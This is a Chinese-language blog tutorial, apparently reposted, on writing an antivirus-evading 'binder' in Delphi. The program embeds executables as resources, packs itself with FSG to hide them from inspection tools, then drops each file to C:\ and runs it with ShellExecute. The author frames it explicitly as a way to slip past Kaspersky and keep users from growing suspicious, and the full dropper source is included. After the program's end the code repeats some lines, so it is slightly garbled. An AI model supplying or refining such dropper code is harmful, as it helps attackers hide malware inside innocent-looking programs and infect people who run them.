delphi编程实现免杀捆绑
用過(guò)了各種各樣的捆綁機(jī),無(wú)一例外都被俺的卡巴殺出來(lái)了,即使一個(gè)好的捆綁器短時(shí)間不被殺,時(shí)間一長(zhǎng)照樣又被揪出來(lái)了,
現(xiàn)在免費(fèi)而且免殺的捆綁機(jī)就是rar了,他經(jīng)過(guò)換圖標(biāo)確實(shí)能達(dá)到很好的效果,但是右鍵一看,里面多了一個(gè)"用rar打開(kāi)"就露餡了。
俺在學(xué)delphi資源的時(shí)候想到用釋放資源的方法不是可以實(shí)現(xiàn)捆綁嗎?經(jīng)過(guò)試驗(yàn),效果很好,
不會(huì)檢測(cè)到任何附加數(shù)據(jù)和2個(gè)文件頭之類(lèi)的現(xiàn)象,唯一能看到的就是exescope里會(huì)看到資源里多了一個(gè)exefile,
不過(guò)經(jīng)過(guò)fsg一加密就看不到里面的內(nèi)容了,而且即使高手一般也不會(huì)麻煩到每次運(yùn)行exe的時(shí)候都要檢測(cè)附加數(shù)據(jù),
可執(zhí)行頭部數(shù)目,還要exescope一番,豈不累死?一般開(kāi)著殺毒看看沒(méi)事就不會(huì)懷疑什么了。
閑話少說(shuō),開(kāi)始delphi之旅。 我們下個(gè)MINI的DELPHI7.0 去BAIDU找就行了
首先要建立我們的資源文件,
在記事本中寫(xiě)入mask exefile mask.exe這樣形式的n行
第一個(gè)mask是delphi調(diào)用這個(gè)exefile資源文件的名字,第二個(gè)表示資源類(lèi)型exefile就是exe文件了,最后是文件名,
把所有需要捆綁的文件都以這樣的形式寫(xiě)入,保存為rc后綴的文件exe.rc,接著cmd下輸入Brcc32 exe.rc
就會(huì)把exe.rc編譯成資源文件exe.res。
前期工作做完了,接著在delphi中新建一個(gè)console application,
這樣是方便我們建立一個(gè)個(gè)頭更小的exe,如果是一個(gè)application的話什么都不做都會(huì)有359k之巨!
而且這里我們也不需要任何窗體。接著就可以把代碼替換成如下:
program Project2;
uses
windows,
shellapi,
classes;
//必須用到的單元
{$R exe.res} //連接我們的資源文件
function ExtractRes(ResType, ResName, ResNewName: string): boolean; //建立一個(gè)函數(shù)釋放res
var
Res: TResourceStream; //Tresource調(diào)用了classes單元
begin
try
Res := TResourceStream.create(Hinstance, Resname, Pchar(ResType));
try
Res.SavetoFile(ResNewName);
Result := true;
finally
Res.Free;
end;
except
Result := false;
end;
end;
var
handle:Thandle; //調(diào)用了classes單元
begin
ExtractRes('exefile','mask','c:/new.exe'); //調(diào)用ExtractRes函數(shù)釋放到c:/new.exe
ShellExecute(handle, 'open', PChar('c:/new.exe'), nil, nil, SW_SHOW); //調(diào)用shellexecute這個(gè)api執(zhí)行它,調(diào)用了shellapi和windows單元
end.
ExtractRes('exefile','mask1','c:/new1.exe'); //調(diào)用ExtractRes函數(shù)釋放到c:/new.exe
ShellExecute(handle, 'open', PChar('c:/new1.exe'), nil, nil, SW_SHOW); //調(diào)用shellexecute這個(gè)api執(zhí)行它,調(diào)用了shellapi和windows單元
end.
注釋已經(jīng)寫(xiě)得很詳細(xì)了,這是釋放一個(gè)文件的演示,釋放多個(gè)文件多幾個(gè)ExtractRes 和ShellExecute 就ok了。
總結(jié)
以上是生活随笔為你收集整理的delphi编程实现免杀捆绑的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: Java实现对文件的读写操作
- 下一篇: es安全认证配置